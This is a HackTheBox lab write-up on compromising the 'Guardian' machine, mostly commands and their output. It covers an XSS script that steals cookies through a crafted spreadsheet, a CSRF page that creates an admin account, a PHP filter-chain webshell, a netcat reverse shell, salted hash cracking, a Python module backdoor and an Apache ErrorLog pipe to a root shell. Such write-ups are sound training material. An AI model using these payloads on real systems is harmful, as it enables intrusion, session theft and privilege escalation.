Post

Guardian

Writeup for HackTheBox Guardian machine

Guardian

Executive Summary

Guardian is a medium-difficulty Linux machine on HackTheBox. The attack chain is as follows:

  • Student Portal → Gitea → IDOR — Discover default credentials from a student portal PDF guide. Exploit IDOR on the chat feature to leak Gitea credentials.
  • Source Code Review → XSS → CSRF → LFI → RCE — Clone portal source from Gitea. Identify PhpSpreadsheet XSS (CVE-2024-57321) to hijack a lecturer session. Use CSRF to create an admin account, then exploit LFI via PHP filter chains for RCE as www-data.
  • DB Hash Extraction → SSH → Python Hijack → Apache2ctl → Root — Extract salted SHA-256 hashes from MySQL, crack with John to get jamil’s SSH password. Abuse writable status.py module (via sudo) to pivot to mark. Exploit safeapache2ctl’s ErrorLog pipe directive for root command execution.

Reconnaissance

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/htb-machine/Guardian]
└─$ nmap -sC -sV $IP             
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 16:52 UTC
Nmap scan report for 10.10.11.84
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_  256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://guardian.htb/
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.92 seconds

The target has a web server on port 80 and SSH on port 22.

Add the following to /etc/hosts to resolve the hostname:

1
echo "10.10.11.84 guardian.htb" | sudo tee -a /etc/hosts

We are presented with the Guardian University web page — a single-page application (SPA) served over HTTP.

Error loading image

After scrolling down, we can see a few student email IDs listed publicly:

1
2
3
Boone Basden        — GU0142023@guardian.htb
Jamesy Currin       — GU6262023@guardian.htb
Stephenie Vernau    — GU0702025@guardian.htb

Error loading image


Enumeration

Subdomain Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/htb-machine/Guardian]
└─$ ffuf -w ../subdomains-top1million-5000.txt  -u http://guardian.htb/ -H "Host: FUZZ.guardian.htb" -fw 20 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://guardian.htb/
 :: Wordlist         : FUZZ: /home/kali/htb-machine/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.guardian.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 20
________________________________________________

portal                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 207ms]
:: Progress: [4997/4997] :: Job [1/1] :: 197 req/sec :: Duration: [0:00:33] :: Errors: 0 ::

Add the discovered subdomain to /etc/hosts:

1
echo "10.10.11.84 portal.guardian.htb" | sudo tee -a /etc/hosts
1
http://portal.guardian.htb/login.php

Error loading image

Portal — Information Disclosure

After clicking Help on portal.guardian.htb, a PDF user guide is accessible:

1
http://portal.guardian.htb/static/downloads/Guardian_University_Student_Portal_Guide.pdf

The guide discloses the default password for all Guardian accounts: GU1234

Combining the student email IDs found on the homepage with the default password:

UsernamePassword
GU0142023@guardian.htbGU1234
GU6262023@guardian.htbGU1234
GU0702025@guardian.htbGU1234

Login with GU0142023@guardian.htb : GU1234 is successful.

Home Page (Dashboard)

1
http://portal.guardian.htb/student/home.php

Error loading image

The portal exposes sections: Dashboard, My Courses, Chats, etc.

1
http://portal.guardian.htb/student/chats.php

Error loading image


IDOR — Insecure Direct Object Reference

Tampering with the chat_users[] parameters allows access to other users’ chats and exposes credentials.

After login, the chat URL is:

1
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14

Error loading image

Fuzz both chat_users[] parameters (cluster-bomb style) with numeric payloads to enumerate all chat IDs.

Error loading image

With payload1=2 and payload2=1, the chat response contains Gitea credentials:

Error loading image

Credentials found:

FieldValue
Usernamejamil.enockson
PasswordDHsNnk3V503

Gitea — Access

The target hosts a Gitea instance at:

1
http://gitea.guardian.htb/

Add it to /etc/hosts:

1
echo "10.10.11.84 gitea.guardian.htb" | sudo tee -a /etc/hosts

Error loading image

Sign in with the discovered credentials:

  • Username: jamil.enockson@guardian.htb
  • Password: DHsNnk3V503

Error loading image

Clone both repositories locally and inspect them:

1
2
git clone http://gitea.guardian.htb/Guardian/guardian.htb.git
git clone http://gitea.guardian.htb/Guardian/portal.guardian.htb.git
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/HTB]
└─$ git clone http://gitea.guardian.htb/Guardian/guardian.htb.git
Cloning into 'guardian.htb'...
Username for 'http://gitea.guardian.htb': jamil.enockson@guardian.htb
Password for 'http://jamil.enockson@guardian.htb@gitea.guardian.htb': 
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 12 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), 2.96 MiB | 342.00 KiB/s, done.
                                                                                                                          
┌──(kali㉿kali)-[~/HTB]
└─$ git clone http://gitea.guardian.htb/Guardian/portal.guardian.htb.git
Cloning into 'portal.guardian.htb'...
Username for 'http://gitea.guardian.htb': jamil.enockson@guardian.htb
Password for 'http://jamil.enockson@guardian.htb@gitea.guardian.htb': 
remote: Enumerating objects: 3555, done.
remote: Counting objects: 100% (3555/3555), done.
remote: Compressing objects: 100% (2758/2758), done.
remote: Total 3555 (delta 757), reused 3555 (delta 757), pack-reused 0
Receiving objects: 100% (3555/3555), 6.75 MiB | 529.00 KiB/s, done.
Resolving deltas: 100% (757/757), done.

Database Credentials in Config

1
/portal.guardian.htb/config/config.php
1
2
3
4
5
6
7
8
9
10
<?php
return [
    'db' => [
        'dsn' => 'mysql:host=localhost;dbname=guardiandb',
        'username' => 'root',
        'password' => 'Gu4rd14n_un1_1s_th3_b3st',
        'options'  => []
    ],
    'salt' => '8Sb)tM1vs1SS'
];

This reveals the MySQL DSN (guardiandb), credentials (root / Gu4rd14n_un1_1s_th3_b3st), and the password salt (8Sb)tM1vs1SS) used when hashing passwords — both are critical for later exploitation.


XSS — PhpSpreadsheet CVE-2024-57321

Location: portal repository — composer.json

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/portal.guardian.htb]
└─$ cat composer.json     
{
    "require": {
        "phpoffice/phpspreadsheet": "3.7.0",
        "phpoffice/phpword": "^1.3"
    }
}

phpoffice/phpspreadsheet version 3.7.0 is affected by a Cross-Site Scripting (XSS) vulnerability (GHSA-79xx-vf93-p7cx) in the generateNavigation() function. When an XLSX file is converted to HTML, the sheet names are rendered without sanitization — allowing injected HTML/JavaScript in sheet names to execute in the browser.

Assignment Upload — Exploiting the XSS

The student portal’s Assignment page accepts XLSX uploads.

Error loading image

The following Python script creates a malicious XLSX where the second sheet’s name contains an XSS payload that exfiltrates the viewer’s session cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
import shutil
import zipfile
from openpyxl import Workbook
from xml.etree import ElementTree as ET

# Payload for testing Excel XSS
PAYLOAD = """<img src=x onerror=this.src='http://YOUR_IP:PORT/?c='+document.cookie>"""

def create_clean_excel(filename="clean.xlsx"):
    wb = Workbook()
    ws1 = wb.active
    ws1.title = "Sheet1"
    ws1["A1"] = "This is a test"

    ws2 = wb.create_sheet("Sheet2")
    ws2["A1"] = "Malicious sheet name will be injected here"

    wb.save(filename)
    print(f"[+] Clean Excel created: {filename}")

def modify_excel_for_xss(clean_file="clean.xlsx", evil_file="evil.xlsx"):
    tmp_dir = "tmp_excel"

    # cleanup
    if os.path.exists(tmp_dir):
        shutil.rmtree(tmp_dir)
    os.makedirs(tmp_dir, exist_ok=True)

    # unzip clean.xlsx
    with zipfile.ZipFile(clean_file, "r") as zip_ref:
        zip_ref.extractall(tmp_dir)

    # Path to workbook.xml
    workbook_xml = os.path.join(tmp_dir, "xl", "workbook.xml")

    # Parse XML
    tree = ET.parse(workbook_xml)
    root = tree.getroot()

    # Excel XML namespace
    ns = {"main": "http://schemas.openxmlformats.org/spreadsheetml/2006/main"}

    # Find all sheets
    sheets = root.findall("main:sheets/main:sheet", ns)

    # Modify sheet2 name to payload
    if len(sheets) >= 2:
        print("[+] Found 2nd sheet, modifying name...")
        sheets[1].set("name", PAYLOAD)
    else:
        print("[-] Could not find 2nd sheet!")

    # Write changes back
    tree.write(workbook_xml, encoding="utf-8", xml_declaration=True)

    # Zip back to evil.xlsx
    with zipfile.ZipFile(evil_file, "w", zipfile.ZIP_DEFLATED) as zip_ref:
        for foldername, subfolders, filenames in os.walk(tmp_dir):
            for filename in filenames:
                filepath = os.path.join(foldername, filename)
                arcname = os.path.relpath(filepath, tmp_dir)
                zip_ref.write(filepath, arcname)

    print(f"[+] Evil Excel created: {evil_file}")

if __name__ == "__main__":
    create_clean_excel()
    modify_excel_for_xss()

Generate the malicious assignment file:

1
2
3
4
5
┌──(kali㉿kali)-[~/HTB/portal.guardian.htb]
└─$ python3 phpspreadphp.py
[+] Clean Excel created: clean.xlsx
[+] Found 2nd sheet, modifying name...
[+] Evil Excel created: Assignment2.xlsx

Start a local HTTP listener to capture the exfiltrated cookie, then upload the malicious XLSX:

Error loading image

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/portal.guardian.htb]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.84 - - [12/Sep/2025 14:47:07] "GET /?c=PHPSESSID=k884mut5gg7sai21iacbgrbnh4 HTTP/1.1" 200 -
10.10.11.84 - - [12/Sep/2025 14:47:08] "GET /?c=PHPSESSID=k884mut5gg7sai21iacbgrbnh4 HTTP/1.1" 200 -
10.10.11.84 - - [12/Sep/2025 14:47:08] "GET /?c=PHPSESSID=k884mut5gg7sai21iacbgrbnh4 HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.

Replace our session cookie with the captured PHPSESSID value and refresh — we are now authenticated as a lecturer.

Error loading image


CSRF — Cross-Site Request Forgery

Reading the portal code reveals a CSRF vector in the lecturer notice functionality.

  • Notices index: http://portal.guardian.htb/lecturer/notices/index.php

Error loading image

  • Create notice page: http://portal.guardian.htb/lecturer/notices/create.php

Error loading image

The create page includes a CSRF token in the form — but the admin user-creation endpoint (/admin/createuser.php) does not enforce origin checks, making it vulnerable to CSRF.

Error loading image

CSRF Proof-of-Concept (poc.html)

Save and host the following poc.html. When a lecturer (or any authenticated user with a valid CSRF token) visits this page, it auto-submits a form that creates a new admin account:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
  <body>
    <form action="http://portal.guardian.htb/admin/createuser.php" method="POST">   
      <input type="hidden" name="csrf_token" value="010681fa91ae28c4b94395b0ac854a1a">
      <input type="hidden" name="username" value="newadmin">
      <input type="hidden" name="password" value="Password123">
      <input type="hidden" name="full_name" value="newadmin">
      <input type="hidden" name="email" value="hello@guardian.htb">
      <input type="hidden" name="dob" value="2002-06-02">
      <input type="hidden" name="address" value="123 Example Street">
      <input type="hidden" name="user_role" value="admin">
      <input type="submit" value="Submit request">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

Host the file locally and trigger it (e.g., via XSS or by visiting the URL as the lecturer):

1
python3 -m http.server 8000
1
2
3
4
┌──(kali㉿kali)-[~/HTB/guardian]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.84 - - [13/Sep/2025 03:36:10] "GET /poc.html HTTP/1.1" 200 -

Error loading image

A new admin account is created. Log in with:

FieldValue
Usernamenewadmin
PasswordPassword123

Error loading image

Admin Dashboard:

Error loading image


LFI — Local File Inclusion

After reviewing the admin portal source code, a Local File Inclusion (LFI) vulnerability is identified in the report parameter.

Error loading image

On the report page, clicking Enrollment loads:

1
http://portal.guardian.htb/admin/reports.php?report=reports/enrollment.php

Changing the parameter to a path traversal attempt:

1
http://portal.guardian.htb/admin/reports.php?report=../../../etc/passwd

Returns “malicious request blocked” — indicating that directory traversal is detected, but the include mechanism itself is still present.

Error loading image

PHP Filter Chain — LFI to RCE

Since direct path traversal is blocked, we use the php_filter_chain_generator (synacktiv/php_filter_chain_generator) to synthesize a PHP payload using only iconv/base64 filter chains — bypassing the traversal block entirely.

Generate the filter chain for a minimal PHP webshell:

1
2
3
4
┌──(kali㉿kali)-[~/HTB/guardian/php_filter_chain_generator]
└─$ python3 php_filter_chain_generator.py --chain '<?=system($_GET[0])?>'
[+] The following gadget chain will generate the following code : <?=system($_GET[0])?> (base64 value: PD89c3lzdGVtKCRfR0VUWzBdKT8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

Replace the tail of the generated chain from |convert.base64-decode/resource=php://temp to point at an existing PHP file as anchor, and append the command via the 0 parameter:

1
|convert.base64-decode/resource=reports/academic.php&0=id

Verify RCE by sending the full filter chain URL in the browser — the output of id appears in the response:

Error loading image

Initial Shell

Start a netcat listener:

1
2
┌──(kali㉿kali)-[~/HTB/guardian/php_filter_chain_generator]
└─$ nc -lvnp 4444

Replace the command parameter with a reverse shell payload:

1
|convert.base64-decode/resource=reports/academic.php&0=busybox nc 10.10.14.124 4444 -e sh
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/guardian/php_filter_chain_generator]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.124] from (UNKNOWN) [10.10.11.84] 46690

python3 -c 'import pty; pty.spawn("/bin/bash")'
bash-5.1$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Database Credential Extraction

Use the credentials found in config.php to connect to MySQL:

1
2
3
4
5
6
7
8
bash-5.1$ mysql -h localhost -u root -p guardiandb
Enter password: Gu4rd14n_un1_1s_th3_b3st

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 157776
Server version: 8.0.43-0ubuntu0.22.04.1 (Ubuntu)

mysql> 

List tables and retrieve usernames with their password hashes:

1
2
SHOW TABLES;
SELECT username, password_hash FROM users;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
mysql> show tables;
+----------------------+
| Tables_in_guardiandb |
+----------------------+
| assignments          |
| courses              |
| enrollments          |
| grades               |
| messages             |
| notices              |
| programs             |
| submissions          |
| users                |
+----------------------+
9 rows in set (0.01 sec)

mysql> select username,password_hash from users;
+--------------------+------------------------------------------------------------------+
| username           | password_hash                                                    |
+--------------------+------------------------------------------------------------------+
| admin              | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 |
| jamil.enockson     | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 |
| mark.pargetter     | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e |
| valentijn.temby    | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 |
| leyla.rippin       | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 |
| perkin.fillon      | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 |
| cyrus.booth        | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 |
| sammy.treat        | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 |
| crin.hambidge      | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 |
| myra.galsworthy    | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 |
| mireielle.feek     | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 |
| vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a |
| GU0142023          | 5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829 |
| GU6262023          | 87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f |
| GU0702025          | 48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1 |
| newadmin           | 85dbd0be6633d62c640f0648fc3f25786123543480183cf593be986d25904b0d |
+--------------------+------------------------------------------------------------------+
63 rows in set (0.00 sec)

mysql> 

Cracking Password Hashes

Extract the SHA-256 hashes to a file:

1
grep -oE '\b[a-f0-9]{64}\b' user_pass > clean_password

The hashes are SHA-256 with the salt 8Sb)tM1vs1SS appended to each password (from config.php). Build a salted wordlist and crack with John:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿kali)-[~/HTB/guardian]
└─$ SALT='8Sb)tM1vs1SS'
tmpfile=$(mktemp /tmp/rockyou_salted.XXXXXX)
sed "s/$/$(printf '%s' "$SALT" | sed 's/[&/\]/\\&/g')/" /usr/share/wordlists/rockyou.txt > "$tmpfile"
                                                                                                        
┌──(kali㉿kali)-[~/HTB/guardian]
└─$ john --format=Raw-SHA256 --wordlist="$tmpfile" clean_password

Using default input encoding: UTF-8
Loaded 63 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1238Sb)tM1vs1SS (?)     
copperhouse568Sb)tM1vs1SS (?)     
fakebake0008Sb)tM1vs1SS (?)     
3g 0:00:00:01 DONE (2025-09-13 06:53) 1.724g/s 8243Kp/s 8243Kc/s 500461KC/s
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed. 

┌──(kali㉿kali)-[~/HTB/guardian]
└─$ john --show --format=Raw-SHA256 clean_password

?:fakebake0008Sb)tM1vs1SS
?:copperhouse568Sb)tM1vs1SS
?:Password1238Sb)tM1vs1SS

3 password hashes cracked, 60 left

# Clean up temp file
┌──(kali㉿kali)-[~/HTB/guardian]
└─$ rm -f "$tmpfile"

Stripping the appended salt gives us the actual plaintext passwords:

Hash OwnerCracked Value (with salt)Actual Password
jamil.enocksoncopperhouse568Sb)tM1vs1SScopperhouse56
GU0142023Password1238Sb)tM1vs1SSPassword123
GU...fakebake0008Sb)tM1vs1SSfakebake000

Access as jamil

Using the cracked credential for user jamil, authenticate via SSH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/HTB]
└─$ ssh jamil@10.10.11.84
jamil@10.10.11.84's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Last login: Sun Sep 14 05:52:02 2025 from 10.10.14.28
jamil@guardian:~$ ls
user.txt
jamil@guardian:~$ cat user.txt 
c7687acdb3771320c58543e5aab9f127
jamil@guardian:~$ 

Privilege Escalation

Shell as mark

Check sudo permissions:

1
2
3
4
5
6
jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jamil may run the following commands on guardian:
    (mark) NOPASSWD: /opt/scripts/utilities/utilities.py

jamil can run /opt/scripts/utilities/utilities.py as mark without a password.

Check group membership and file permissions:

1
2
3
4
5
jamil@guardian:~$ id
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)

jamil@guardian:~$ ls -l /opt/scripts/utilities/utilities.py
-rwxr-x--- 1 root admins 1136 Apr 20 14:45 /opt/scripts/utilities/utilities.py

Inspect the directory structure and the target script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
jamil@guardian:~$ ls -la /opt/scripts/utilities/
total 20
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 .
drwxr-xr-x 3 root root   4096 Jul 12 15:10 ..
drwxrws--- 2 mark admins 4096 Jul 10 13:53 output
-rwxr-x--- 1 root admins 1136 Apr 20 14:45 utilities.py
drwxrwsr-x 2 root root   4096 Jul 10 14:20 utils
jamil@guardian:~$ 
jamil@guardian:~$ cat /opt/scripts/utilities/utilities.py
#!/usr/bin/env python3

import argparse
import getpass
import sys

from utils import db
from utils import attachments
from utils import logs
from utils import status


def main():
    parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
    parser.add_argument("action", choices=[
        "backup-db",
        "zip-attachments",
        "collect-logs",
        "system-status"
    ], help="Action to perform")
    
    args = parser.parse_args()
    user = getpass.getuser()

    if args.action == "backup-db":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        db.backup_database()
    elif args.action == "zip-attachments":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        attachments.zip_attachments()
    elif args.action == "collect-logs":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        logs.collect_logs()
    elif args.action == "system-status":
        status.system_status()
    else:
        print("Unknown action.")

if __name__ == "__main__":
    main()

Check permissions on the utils/ modules:

1
2
3
4
5
6
7
8
jamil@guardian:~$ ls -la /opt/scripts/utilities/utils
total 24
drwxrwsr-x 2 root root   4096 Jul 10 14:20 .
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ..
-rw-r----- 1 root admins  287 Apr 19 08:15 attachments.py
-rw-r----- 1 root admins  246 Jul 10 14:20 db.py
-rw-r----- 1 root admins  226 Apr 19 08:16 logs.py
-rwxrwx--- 1 mark admins  341 Sep 13 21:40 status.py

status.py is owned by mark and has group-write permissions (rwxrwx---). Since jamil is in admins, we can write to it.

Append a backdoor to status.py:

1
printf '\nimport os\nos.system("/bin/bash")\n' >> /opt/scripts/utilities/utils/status.py

When status.system_status() is imported and executed under mark, the appended os.system("/bin/bash") spawns a shell as mark.

Run the utility as mark via sudo:

1
2
3
4
jamil@guardian:~$ sudo -u mark /opt/scripts/utilities/utilities.py
mark@guardian:/home/jamil$ 
mark@guardian:/home/jamil$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark),1002(admins)

apache2ctl to root

Check mark’s sudo permissions:

1
2
3
4
5
6
7
mark@guardian:~$ sudo -l
Matching Defaults entries for mark on guardian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mark may run the following commands on guardian:
    (ALL) NOPASSWD: /usr/local/bin/safeapache2ctl

mark can run safeapache2ctl as root without a password. This binary accepts a config file via -f. Apache’s ErrorLog directive supports piping log output to a shell command using |. Craft a malicious Apache config:

1
2
3
4
5
6
7
8
9
10
11
12
cat > /home/mark/confs/exploit.conf << 'EOF'
ServerName localhost

# Load a valid MPM so Apache doesn't complain
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so

# Send log output to our command instead of a file
ErrorLog "|/bin/sh -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'"

# Prevent binding errors by not creating any listeners
Listen 127.0.0.1:8080
EOF

Run the privileged binary with the crafted config:

1
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/exploit.conf

Execute the SUID bash copy with -p (preserve effective UID):

1
/tmp/rootbash -p
1
2
3
4
5
mark@guardian:~/confs$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(mark) gid=1001(mark) euid=0(root) egid=0(root) groups=0(root),1001(mark),1002(admins)
rootbash-5.1# cat /root/root.txt 
*************38bb8c4d18a1b9b02d2

Mitigations & Security Recommendations

  • Restrict Default Credentials: Default credentials like GU1234 should never be left active. Force users to change passwords upon first login.
